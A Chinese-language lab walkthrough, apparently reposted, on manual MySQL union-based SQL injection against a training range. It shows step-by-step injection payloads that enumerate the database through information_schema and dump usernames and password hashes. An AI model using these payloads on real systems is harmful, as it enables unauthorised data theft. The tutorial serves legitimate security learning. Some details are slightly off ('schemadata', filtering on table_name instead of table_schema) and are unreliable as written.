Mysql基本注入


實驗環境:墨者學院Mysql手工注入漏洞測試靶場
后台源碼沒有進行任何字符過濾。

首先進入靶場環境

先用admin登陸試試

果然不行,這時看到用戶登錄下方有一個停機維護通知,點進去瞅瞅

看到這里鏈接上有id = 1,懷疑這里會有注入點。

判斷注入點

先簡單判斷是不是字符型注入點,使用單引號閉合語句,注釋后面的語句

?id = 1'--+


發現頁面有異常,可能不是字符型,再試試數字型注入

?id = 1 and 1 = 1


發現and 1 = 1沒有返回異常,再進一步進行判斷

?id = 1 and 1 = 2


頁面出現異常,說明這里存在數字型注入點

猜解字段數

發現存在注入點之后使用order by語句判斷字段的數目。

?id=1 order by 3


先試一下是不是3列,發現沒有報錯,說明至少存在3列,接着猜解。

嘗試到5發現報錯了,因為字段沒有5列,使用order by時無法根據第5列排序,所以出錯,由此判斷字段數目是4.

聯合查詢

因為猜解出來的字段數是4,所以聯合查詢的語句應該這么寫?id=1 union select 1,2,3,4,但因為這個語句是成立的,為了讓頁面爆出我們需要的字段,這里就需要構造一個錯誤的語句,讓數據庫報錯時返回我們需要的信息。

?id=-1 union select 1,2,3,4


可以看到這里頁面上爆出了2和3兩個數字,說明2和3兩個數字對應當前數據表的兩個字段會回顯到頁面上的,這樣就可以根據2,3兩個回顯位查詢一些我們需要的信息。
常用的Mysql系統函數有:

version()            #MySQL版本
user()               #數據庫用戶名
database()           #數據庫名
@@datadir            #數據庫路徑
@@version_compile_os #操作系統版本

比如查詢當前的數據庫名稱和當前用戶。

?id=-1 union select 1,database(),user(),4


這樣我們就成功查詢到當前數據庫,接着找這個數據庫里的數據表。

查詢數據表

補充1:數據庫關鍵庫
這里需要使用到數據庫中一個重要的庫information_schema,這個庫下面的schemadata表中存放着所有數據庫的信息,其中schema_name列中保存着所有數據庫名,tables表中存放着所有數據表的信息,其中table_schema列存放着數據庫名,table_name列存放着數據表名,columns表中存放着所有數據表的所有列信息,其中column_name存放着所有列名,table_name存放着表名。
補充2:concat函數的用法

1.concat(str1,str2)
將多個結果一行返回。如有任何一個參數為NULL ,則返回值為 NULL。

mysql> select 1,2,3;
+---+---+---+
| 1 | 2 | 3 |
+---+---+---+
| 1 | 2 | 3 |
+---+---+---+
1 row in set (0.00 sec)

mysql> select concat(1,2,3);
+---------------+
| concat(1,2,3) |
+---------------+
| 123           |
+---------------+
1 row in set (0.00 sec)

2.concat_ws(separator,str1,str2)
concat_ws是concat()的特殊形式。第一個參數是其它參數的分隔符,分隔符可以是一個字符串,也可以是其它參數。

mysql> select concat_ws('~',1,2,3);
+----------------------+
| concat_ws('~',1,2,3) |
+----------------------+
| 1~2~3                |
+----------------------+
1 row in set (0.00 sec)

3.group_concat完整語法如下,默認使用逗號分隔多個結果:
group_concat( [distinct] 要連接的字段 [order by 排序字段 asc/desc ] [separator '分隔符'] )

?id=-1 union select 1,group_concat(table_name),3,4 from information_schema.tables where table_name = database()


這樣就查詢到當前數據庫里面有兩個數據表,分別為StormGroup_member,notice

查詢列名

?id=-1 union select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='StormGroup_member'


查詢到有這個表有四個字段id,name,password,status

查詢數據

根據上面查詢到的四個字段查詢數據

?id=-1 union select 1,concat_ws('~',id,name,password,status),3,4 from StormGroup_member


成功查到賬號密碼,不過這個密碼好像是加密的,先進行解密

使用這個賬號密碼登陸試試

最后尷尬的一幕出現了(/哭)。


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM